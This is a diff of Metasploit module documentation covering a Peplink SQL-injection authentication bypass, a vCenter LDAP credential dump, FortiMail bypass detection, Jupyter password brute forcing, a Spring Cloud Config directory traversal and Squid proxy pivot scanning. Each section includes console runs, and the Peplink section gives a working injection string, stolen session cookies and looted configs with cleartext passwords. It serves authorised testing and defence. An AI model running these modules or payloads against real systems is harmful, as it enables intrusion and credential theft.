[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
[*] Searching for attribute: sambalmpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
[*] Auxiliary module execution completed
```
@@ -0,0 +1,430 @@
## Vulnerable Application
### Introduction
This module exploits an SQLi vulnerability in the web interface of Peplink
routers running outdated firmware (confirmed on version 7.0.0-build1904 and below).
The vulnerability is due to the lack of sanitization applied to the bauth cookie,
Successful exploitation of the vulnerability allows unauthenticated attackers to get
into sessions of legitimate users (bypassing authentication).
Exploitation of this vulnerability requires that there is at least one active user session
created in the last 4 hours (or session lifetime if it was modified).
## Verification Steps
## Options
### BypassLogin
If true, don't retrieve cookies, just use the SQL injection vulnerability to bypass the login
In the case where expired and non-expired admin sessions exist, might select the expired session if enabled.
### AdminOnly
Only attempt to retrieve cookies of privilegied users (admins)
### EnumPrivs
Retrieve the privilege associated with each session
### EnumUsernames
Retrieve the username associated with each session
### LimitTries
The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly
## Scenarios
Vulnerable firmware downloadable from [here](https://www.peplink.com/support/downloads/archive/).
It's possible to reproduce the vulnerability without owning a peplink router, using
[FusionHub](https://www.peplink.com/products/fusionhub/).
Refer to its installation guide, use a free Solo license.
### Firmware version 6.3.2
BypassLogin:
```
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
msf5 auxiliary(gather/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems to be vulnerable
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkconfigur_203870.bin
[*] Retrieving fhlicense_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhlicens_829403.txt
[*] Retrieving sysinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinksysinfo_824042.txt
[*] Retrieving macinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmacinfo_992224.txt
[*] Retrieving hostnameinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhostname_183370.txt
[*] Retrieving uptime
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkuptime_523334.txt
[*] Retrieving client_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkclient_i_704361.txt
[*] Retrieving hubport
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhubport_264378.txt
[*] Retrieving fhstroute
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhstrout_701714.txt
[*] Retrieving ipsec
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkipsec_664157.txt
[*] Retrieving wan_summary
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkwan_summ_936160.txt
[*] Retrieving firewall
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfirewall_270172.txt
[*] Retrieving cert_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkcert_inf_201536.txt
[*] Retrieving mvpn_summary
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmvpn_sum_261747.txt
[*] Auxiliary module execution completed
msf5 auxiliary(gather/peplink_bauth_sqli) >
```
The config is a .tar.gz archive with an added 36-byte header, you can extract the plaintext config:
```
$ dd if=20200802_fshhw1_1135E8A0DD29.conf of=config.tar.gz skip=36 bs=1
$ tar vxf config.tar.gz
```
The config usually includes the admin password in cleartext.
Note: it's also possible to upload a modified config.
```
$ cat config
ADMIN_HTTPS_ENABLE="yes"
ADMIN_HTTPS_LANONLY="no"
ADMIN_HTTPS_PORT="443"
ADMIN_HTTP_ENABLE="yes"
ADMIN_HTTP_TO_HTTPS="yes"
ADMIN_LANONLY="no"
ADMIN_NAME="admin"
ADMIN_PASSWORD="mySECUREpassword1"
ADMIN_PORT="80"
ADMIN_ROA_PASSWORD="user"
ADMIN_SESSION_TIMEOUT="14400"
CONFIG_VERSION="6.0"
DHCP_SERVER="enable"
FIREWALL_IDS="yes"
HOSTNAME="peplink"
IPSEC_NAT="yes"
LAN_CONN_METHOD="static"
LAN_IPADDR="192.168.1.254"
LAN_NETMASK="255.255.255.0"
LEFTTIME_USAGE="yes"
...
```
EnumPrivs and EnumUsernames:
```
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumPrivs true
EnumPrivs => true
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumUsernames true
EnumUsernames => true
msf5 auxiliary(sqli/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems vulnerable
[*] There are 2 (possibly expired) sessions
[*] Trying the ids from the most recent login
[+] Found cookie wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8, username = user, with read-only permissions
[+] Found cookie aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr, username = admin, with read/write permissions
[*] Checking for admin cookie : wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8
[*] Checking for admin cookie : aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr
... <as above, gathering of data>
[*] Auxiliary module execution completed
msf5 auxiliary(sqli/peplink_bauth_sqli) >
```
Verbose:
When you enable verbose, you get the parsed XML document displayed.
```
msf5 auxiliary(gather/peplink_bauth_sqli) > set Verbose true
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
msf5 auxiliary(gather/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems to be vulnerable
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkconfigur_780974.bin
[*] Retrieving fhlicense_info
[+] data
[+] license
[+] bandwidth
[+] 0
[+] sessions
[+] 0
[+] err_desc
[+] Virtual machine server changed.
[+] force_lic_page
[+] 1
[+] activated
[+] 0
[+] vm_server_address
[+] expired
[+] 0
[+] license_type
[+] Invalid
[+] expiry_date
[+] 2021-08-02
[+] sn
[+] 1135-E8A0-DD29
[+] license_key
[+] YCB7EAN54FAEMTDF
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhlicens_867800.txt
[*] Retrieving sysinfo
[+] data
[+] sysinfo
[+] legal
[+] company
[+] Peplink
[+] mvpn_version
[+] 5.0.0
[+] version
[+] 6.3.2 build 1424
[+] serial
[+] 1135-E8A0-DD29
[+] product_code
[+] hardware_revision
[+] 1
[+] desc_support
[+] product_name
[+] Peplink FusionHub
[+] name
[+] 1135-E8A0-DD29
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinksysinfo_739792.txt
[*] Retrieving macinfo
[+] data
[+] macinfo
[+] port {id=0}
[+] mac
[+] 08:00:27:52:8b:fc
[+] name
[+] WAN
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmacinfo_307720.txt
[*] Retrieving hostnameinfo
[+] data
[+] hostname_info
[+] hostname
[+] 1135-e8a0-dd29
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhostname_534719.txt
[*] Retrieving uptime
[+] data
[+] subscription_mode
[+] systime
[+] Sun Aug 02 14:31:21 CET 2020
[+] uptime
[+] elapsed
[+] 2986
[+] info
[+] 0 days 0 hours 49 minutes
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkuptime_233915.txt
[*] Retrieving client_info
[+] data
[+] client_status
[+] reserved_mac
[+] client_list
[+] client {type=0}
[+] rate_down
[+] 0
[+] rate_up
[+] 0
[+] active
[+] mac
[+] 10:08:B1:CC:97:41
[+] ip {id=0}
[+] 192.168.1.222
[+] ipn
[+] 3232235998
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkclient_i_419158.txt
[*] Retrieving hubport
[+] data
[+] port {id=wan}
[+] mvpn_advertise_wan_network
[+] tcpmss
[+] mtu
[+] 1440
[+] pppoe_sn
[+] pppoe_password
[+] pppoe_user
[+] dns_custom_servers
[+] 8.8.8.8 1.1.1.1
[+] dns_auto
[+] dhcp_hostname
[+] dhcp_client_id
[+] mvpn_default_to_lan
[+] gateway
[+] 192.168.1.1
[+] netmask
[+] 255.255.255.0
[+] ipaddr
[+] 192.168.1.254
[+] bridge_mvpn
[+] bridge_mode
[+] conn_method
[+] static
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhubport_064122.txt
[*] Retrieving fhstroute
[+] data
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhstrout_739377.txt
[*] Retrieving ipsec
[+] data
[+] ipsec
[+] order
[+] nat
[+] linkinfo
[+] link {id=1}
[+] port {id=1}
[+] port_name
[+] WAN
[+] port_type
[+] ethernet
[+] actiavted
[+] name
[+] WAN
[+] enable
[+] order
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkipsec_320666.txt
[*] Retrieving wan_summary
[+] data
[+] connection_info
[+] conn {id=1}
[+] conn_method
[+] method
[+] dhcp
[+] modem_idle
[+] timeout
[+] 180
[+] backup_group
[+] 0
[+] mvpn_nat
[+] nat
[+] enable
[+] port_id
[+] 1
[+] name
[+] WAN
[+] order
[+] 1
[+] physical_info
[+] port {id=1}
[+] ethernet_info
[+] simulated_mac
[+] default_mac
[+] mac_clone
[+] mtu
[+] advertise
[+] speed
[+] port_name
[+] WAN
[+] type
[+] ethernet
[+] activated
[+] yes
[+] count
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkwan_summ_918579.txt
[*] Retrieving firewall
[+] data
[+] firewall_ids
[+] firewall_mvpn
[+] private_firewall
[+] default
[+] accept
[+] outbound_firewall
[+] default
[+] accept
[+] inbound_firewall
[+] default
[+] accept
[+] linkinfo
[+] link {id=1}
[+] port {id=1}
[+] port_name
[+] WAN
[+] port_type
[+] ethernet
[+] actiavted
[+] name
[+] WAN
[+] enable
[+] order
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfirewall_758402.txt
[*] Retrieving cert_info
[+] data
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkcert_inf_603637.txt
[*] Retrieving mvpn_summary
[+] data
[+] mvpn
[+] order
[+] mvpn_nat_mode_dhcp_server
[+] has_nat_profile
[+] 0
[+] nat_remote
[+] 0
[+] subnet_mask
[+] 24
[+] pool_end
[+] 169.254.131.254
[+] pool_start
[+] 169.254.131.1
[+] enable
[+] 1
[+] restrict_advertise
[+] no
[+] hc_mode
[+] 0
[+] rn
[+] 1135-E8A0-DD29
[+] site_id
[+] 333
[+] l2vpn
[+] wanport_supported
[+] false
[+] wanport_name
[+] WAN Port Unavailable
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmvpn_sum_970830.txt
[*] Auxiliary module execution completed
msf5 auxiliary(gather/peplink_bauth_sqli) >
```
Loot:
```
msf5 auxiliary(gather/peplink_bauth_sqli) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.254 peplink configuration tar gz application/binary /home/redouane/.msf4/loot/20200802153714_default_192.168.1.254_peplinkconfigur_157106.bin
192.168.1.254 peplink fhlicense_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhlicens_326973.txt
192.168.1.254 peplink sysinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinksysinfo_385353.txt
192.168.1.254 peplink macinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmacinfo_525407.txt
192.168.1.254 peplink hostnameinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhostname_613045.txt
192.168.1.254 peplink uptime text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkuptime_488261.txt
192.168.1.254 peplink client_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkclient_i_529454.txt
192.168.1.254 peplink hubport text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhubport_938262.txt
192.168.1.254 peplink fhstroute text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhstrout_737113.txt
192.168.1.254 peplink ipsec text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkipsec_055562.txt
192.168.1.254 peplink wan_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkwan_summ_957693.txt
192.168.1.254 peplink firewall text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfirewall_777226.txt
192.168.1.254 peplink cert_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkcert_inf_765605.txt
192.168.1.254 peplink mvpn_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmvpn_sum_890141.txt
msf5 auxiliary(gather/peplink_bauth_sqli) >
```
@@ -4,7 +4,8 @@
This module uses an anonymous-bind LDAP connection to dump data from
the vmdir service in VMware vCenter Server version 6.7 prior to the
6.7U3f update.
6.7U3f update, only if upgraded from a previous release line, such as
6.0 or 6.5.
### Setup
@@ -27,11 +28,6 @@ Dump all LDAP data from the vCenter Server.
If you already have the LDAP base DN, you may set it in this option.
### ConnectTimeout
You may configure the timeout for LDAP connects if necessary. The
default is 10.0 seconds and should be more than sufficient.
## Scenarios
### VMware vCenter Server 6.7 virtual appliance on ESXi
@@ -46,7 +42,8 @@ Module options (auxiliary/gather/vmware_vcenter_vmdir_ldap):
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 389 yes The target port
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
Auxiliary action:
@@ -60,6 +57,7 @@ msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > set rhosts [redacted]
rhosts => [redacted]
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > run
[*] Running module against [redacted]
not verifying SSL hostname of LDAPS server '[redacted]:636'
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
@@ -74,19 +72,11 @@ supportedldapversion: 3
supportedsaslmechanisms: GSSAPI
[+] Discovered base DN: dc=vsphere,dc=local
[*] Dumping LDAP data from vmdir service at [redacted]:389
[+] [redacted]:389 is vulnerable to CVE-2020-3952
[*] Dumping LDAP data from vmdir service at [redacted]:636
[+] [redacted]:636 is vulnerable to CVE-2020-3952
[*] Storing LDAP data in loot
[+] Saved LDAP data to /Users/wvu/.msf4/loot/20200417002613_default_[redacted]_VMwarevCenterS_939568.txt
[*] Password and lockout policy:
dn: cn=password and lockout policy,dc=vsphere,dc=local
cn: password and lockout policy
enabled: TRUE
ntsecuritydescriptor:: [redacted]
objectclass: top
objectclass: vmwLockoutPolicy
objectclass: vmwPasswordPolicy
objectclass: vmwPolicy
vmwpasswordchangeautounlockintervalsec: [redacted]
vmwpasswordchangefailedattemptintervalsec: [redacted]
vmwpasswordchangemaxfailedattempts: [redacted]
@@ -101,6 +91,8 @@ vmwpasswordminspecialcharcount: [redacted]
vmwpasswordminuppercasecount: [redacted]
vmwpasswordprohibitedpreviouscount: [redacted]
[+] Credentials found: [redacted]
[snip]
[*] Auxiliary module execution completed
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) >
```
@@ -0,0 +1,129 @@
## Vulnerable Application
Web sites & other HTTP based applications may be vulnerable to directory brute forcing. This module executes a directory
brute force on a web server, in order to discover locations on the web server for further analysis. This is not the same
as using a word dictionary - this module uses string permutations instead.
### Install
Any web server that serves directories can be used. This module can support different authentication methods, which will
depend on the type of web server used.
## Verification Steps
1. Start `msfconsole`
1. Do: `use auxiliary/scanner/http/brute_dirs`
1. Do: `set rhosts [IPs]`
1. Do: `run`
1. As the module executes you should see a list of directories that are being served up by the web server.
## Options
### DELAY
The delay between connections, per thread, in milliseconds. Using this will reduce the speed of the
module, which may be useful to prevent any rate limiting or web application firewalls from preventing further scanning.
Defaults to `0`.
### FORMAT
The comma separated list of expected directory formats used to determine the order of brute
force attempts.
Defaults to `a,aa,aaa`.
Use the following format specifiers:
|Format specifier|Character type|
|---|---|
|a | lowercase alpha|
|d | digit|
|A | uppercase alpha|
The default value will search `a,aa,aaa` will search for 1 character directories, then 2 character directories, then 3
character directories.
### JITTER
The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. Using jitter ensures
requests have a random amount of additional delay. This is also useful for evading brute force prevention.
Defaults to `0`.
### PATH
The path to starting identification of directories from.
Defaults to `/`.
### THREADS
The number of concurrent threads (max one per host).
Defaults to `1`.
### TIMEOUT
The socket connect/read timeout in seconds.
Defaults to `20`.
### ErrorCode
The expected HTTP code for non existent directories.
Defaults to `404`.
### HTTP404Sigs
Path of 404 signatures to use to identify 'file not found' strings
in website output, even if a successful HTTP Status Code is returned by the server.
Defaults to `[Metasploit data directory]/wmap/wmap_404s.txt`.
## Scenarios
### HTTP directory brute force on a specific port
Identify an open HTTP port on a target web server by using `nmap`:
```
nmap -p8080 192.168.2.3
.
.
.
PORT STATE SERVICE
8080/tcp open http
```
Configure the `brute_dirs` module to use the identified IP address and port number:
```
msf5 > use auxiliary/scanner/http/brute_dirs
msf5 auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.3
msf5 auxiliary(scanner/http/brute_dirs) > set RPORT 8080
RHOSTS => 192.168.2.3
msf5 auxiliary(scanner/http/brute_dirs) > run
[*] Using code '404' as not found.
[+] Found http://192.168.2.3:8080/dav/ 200
[+] Found http://192.168.2.3:8080/img/ 200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Testing against multiple hosts using a CIDR
```
msf5 > use auxiliary/scanner/http/brute_dirs
msf5 auxiliary(scanner/http/brute_dirs) > show options
... show and set options ...
msf5 auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.1/24
msf5 auxiliary(scanner/http/brute_dirs) > run
```
### Custom format to find specifically formatted directories
A format string of `Aaaaad` will search for 6 character directories, starting with a capital letter and ending in a
digit. E.g.
```
msf5 > use auxiliary/scanner/http/brute_dirs
msf5 auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.3
msf5 auxiliary(scanner/http/brute_dirs) > set FORMAT 'Aaaaad'
msf5 auxiliary(scanner/http/brute_dirs) > run
```
@@ -0,0 +1,38 @@
## Vulnerable Application
This module detects vulnerable versions of FortiMail exploitable with an unauthenticated login bypass vulnerability.
Tested against the following versions of FortiMail:
- 5.4.9, 5.4.10, 5.4.11
- 6.0.5, 6.0.6, 6.0.7, 6.0.8, 6.0.9
- 6.2.1, 6.2.2, 6.2.3
- 6.4.0
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use auxiliary/scanner/http/fortimail_login_bypass_detection`
- [ ] `set RHOSTS <RHOSTS>`
- [ ] `set VERBOSE true`
- [ ] `run`
- [ ] **Verify** that systems are detected accordingly
## Scenarios
```
msf5 auxiliary(scanner/http/fortimail_login_bypass_detection) > run
[*] Checking vulnerability at 172.16.144.198
[+] 172.16.144.198 - Vulnerable version of FortiMail detected
[*] Scanned 1 of 4 hosts (25% complete)
[*] Checking vulnerability at 172.16.144.199
[+] 172.16.144.199 - Vulnerable version of FortiMail detected
[*] Scanned 2 of 4 hosts (50% complete)
[*] Checking vulnerability at 172.16.144.200
[+] 172.16.144.200 - Vulnerable version of FortiMail detected
[*] Scanned 3 of 4 hosts (75% complete)
[*] Checking vulnerability at 172.16.144.201
[-] 172.16.144.201 - Not vulnerable version of FortiMail detected
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,75 @@
## Vulnerable Application
This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will
bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module is
compatible with versions 4.3.0 (released 2016-12-08) and newer. [Version 4.3.0][1] is the first version in which
authentication is required by default.
A note on names, "Jupyter Lab" is the next-generation interface for "Jupyter Notebooks" which was the successor of the
original IPython Notebook system. This module is compatible with both standard Jupyter Notebook and Jupyter Lab servers.
### Installation
1. Install the latest version of Jupyter from PyPi using pip: `pip install notebook`. The "notebook" package is the core
application and is the one whose version number is used as the Jupyter version number referred to in this document.
1. Start Jupyter using `jupyter notebook --ip='*'` to start Jupyter listening on all IP addresses.
* New installs will randomly generate an authentication token and open the browser with it
* As of [version 5.3][2], the user will be prompted to set a password the first time they open the UI
* Note that you may need to restart Jupyter after changing the password in order for Jupyter to start using the new password.
* If you can't reset the password, it may be because you need to create the directory `.jupyter` in the directory
you are running the `jupyter notebook --ip='*'` command from.
1. With the password set, the module can be tested
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/jupyter_login`
1. Set the `RHOSTS` option
* With no other options set, this will only check if authentication is required
1. Do: `run`
1. You should the server version
1. If password options (such as `PASS_FILE`) where specified, and the server requires authentication then you should see
login attempts
## Options
## Scenarios
### Jupyter Notebook 4.3.0 With No Authentication Requirement
```
msf5 > use auxiliary/scanner/http/jupyter_login
msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
PASS_FILE => /tmp/passwords.txt
msf5 auxiliary(scanner/http/jupyter_login) > run
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 4.3.0
[+] 192.168.159.128:8888 - No password is required.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/jupyter_login) >
```
### Jupyter Notebook 6.0.2 With A Password Set
```
msf5 > use auxiliary/scanner/http/jupyter_login
msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
PASS_FILE => /tmp/passwords.txt
msf5 auxiliary(scanner/http/jupyter_login) > run
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 6.0.2
[-] 192.168.159.128:8888 - LOGIN FAILED: :Password (Incorrect)
[+] 192.168.159.128:8888 - Login Successful: :Password1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/jupyter_login) >
```
[1]: https://jupyter-notebook.readthedocs.io/en/stable/changelog.html#release-4-3
[2]: https://jupyter-notebook.readthedocs.io/en/stable/public_server.html#automatic-password-setup
@@ -0,0 +1,33 @@
## Vulnerable Application
This module exploits an unauthenticated directory traversal vulnerability which exists in Spring Cloud Config versions 2.2.x prior to 2.2.3 and 2.1.x prior to 2.1.9, and older unsupported versions. Spring Cloud Config listens by default on port 8888.
**References:** https://tanzu.vmware.com/security/cve-2020-5410 <br>
**Vulnerable Installation Guide:** https://github.com/osamahamad/CVE-2020-5410-POC/blob/master/README.md
```
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo
```
## Verification Steps
1. `./msfconsole`
2. `use auxiliary/scanner/http/springcloud_directory_traversal`
3. `set rhosts <rhost>`
4. `run`
## Scenarios
### Tested against Linux zero 4.15.0-48-generic #51-Ubuntu SMP x86_64 GNU/Linux
```
msf5 auxiliary(scanner/http/springcloud_directory_traversal) > run
[+] File saved in: /Users/Dhiraj/.msf4/loot/20200619234552_default_[REDACTED]_springcloud.trav_785232.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/springcloud_directory_traversal) >
```
@@ -0,0 +1,283 @@
## Description
A exposed Squid proxy will usually allow an attacker to make requests on their behalf. If misconfigured, this may give the attacker information about devices that they cannot normally reach. For example, an attacker may be able to make requests for internal IP addresses against an open Squid proxy exposed to the Internet, therefore performing a port scan against the internal network.
The `auxiliary/scanner/http/open_proxy` module can be used to test for open proxies, though a Squid proxy does not have to be on the open Internet in order to allow for pivoting (e.g. an Intranet Squid proxy which allows the attack to pivot to another part of the internal network).
This module will not be able to scan network ranges or ports denied by Squid ACLs. Fortunately it is possible to detect whether a host was up and the port was closed, or if the request was blocked by an ACL, based on the response Squid gives. This feedback is provided to the user in meterpreter `VERBOSE` output, otherwise only open and permitted ports are printed.
### Vulnerable Application Setup
The [official Squid configuration documentation](https://wiki.squid-cache.org/SquidFaq/ConfiguringSquid) covers the significant flexibility of the Squid proxy. For this module, the most relevant core Squid configuration lines usually looks like this (default for version 3.5):
```
http_port 3128
acl localnet src 10.0.0.0/8 # RFC1918 possible internal network
acl localnet src 172.16.0.0/12 # RFC1918 possible internal network
acl localnet src 192.168.0.0/16 # RFC1918 possible internal network
acl localnet src fc00::/7 # RFC 4193 local private network range
acl localnet src fe80::/10 # RFC 4291 link-local (directly plugged) machines
acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 # https
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl Safe_ports port 1025-65535 # unregistered ports
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow localhost manager
http_access deny manager
#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#
http_access allow localnet
http_access allow localhost
http_access deny all
```
In short, this opens port 3128 for proxying from `localhost` or a `localnet` ranges to any port in `Safe_ports`, and allows SSL CONNECT requests to be made to `SSL_ports` (just 443 in this example).
The references to "manager" are referring to a component of Squid which provides management controls and reports displaying statistics about the squid process as it runs, and can show useful information like file descriptors or internal hostnames and IP addresses if the ACL permits access. [See the official docs](https://wiki.squid-cache.org/Features/CacheManager) for more information on the Cache Manager.
As such, you should be able to install Squid with default configuration, and reach through it from an internal network source range to anythin the Squid proxy has a route to. If you wish to test against other ports or network ranges, modify the configuration to suit prior to testing.
## Verification Steps
To test this module, you can try the following:
1. Install Squid
1. Start the Squid service
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/squid_pivot_scanning`
1. Set the `RHOSTS` and `RPORT` to be that of Squid's host address and port:
1. `set RHOSTS squid.internal`
1. `set RPORT 3128`
1. Set the `RANGE` parameter to be the destination host addresses you wish to port scan.
1. `set RANGE 192.168.0.1-192.168.0.2`
1. (Optional) Set the specific `PORTS` parameter to any ports you wish to port scan on the hosts in `RANGE`.
1. `set PORTS 21-23,80,443`
1. Do: `run`
1. You should see the module attempt to connect to the proxy, and then first port of the first host in `RANGE`. Ports will be tested sequentially until the end of `PORTS` is reached, at which point it will start from the first port on the next host in `RANGE`.
## Options
Here is a quick overview of each option within the module.
### CANARY_IP
The IP to check if the proxy always answers positively - this IP address should not normally respond.
Default value: `1.2.3.4`
### MANUAL_CHECK
Invoke the canary check, and stop the scan if the Squid proxy server appears to answer positively to every request.
Default value: `true`
### PORTS
The destination TCP ports to scan through the proxy. Ports will be scanned in ascending order.
Note: these must be TCP, this scanner cannot scan other protocols.
### Proxies
This option should not be confused with the Squid proxy you are trying to scan - this is one of the default Meterpreter paramets in which you can specify a proxy chain to use that you require to reach the Squid proxy.
### RANGE
This is the IP range you wish to sca through the Squid proxy. `PORTS` on these hosts will be scanned. Hosts are scanned in ascending order.
### RPORT
This is the port that the Squid proxy is listening on. Squid defaults to 3128.
Default value: `3128`
### SSL
Whether you need to connect to Squid with SSL. This is not normally the case.
Default value: `false`
### THREADS
The number of concurrent threads (max one per Squid host).
Default value: `1`
### VHOST
HTTP server virtual host header to send on requests.
## Scenarios and Examples
The following is a brief demo of a port scan against two hosts (`192.168.0.1` and `192.168.0.2`) through a Squid proxy responding at `10.10.10.100:3128`. You could assume that the Squid host has a public or otherwise reachable IP address, where the `192.168.0.0` network range is not normally reachable to you.
```
msf6 > use auxiliary/scanner/http/squid_pivot_scanning
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128
RPORT => 3128
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100
PORTS => 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 192.168.0.1-192.168.0.2
RANGE => 192.168.0.1-192.168.0.2
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
[+] [10.10.10.100] 192.168.0.1 is alive.
[+] [10.10.10.100] 192.168.0.1:80 seems open (HTTP 200, server header: 'nginx/1.14.0 (Ubuntu)').
[+] [10.10.10.100] 192.168.0.2 is alive.
[+] [10.10.10.100] 192.168.0.2:80 seems open (HTTP 302 redirect to: 'index.php', server header: 'nginx/1.14.0 (Ubuntu)')
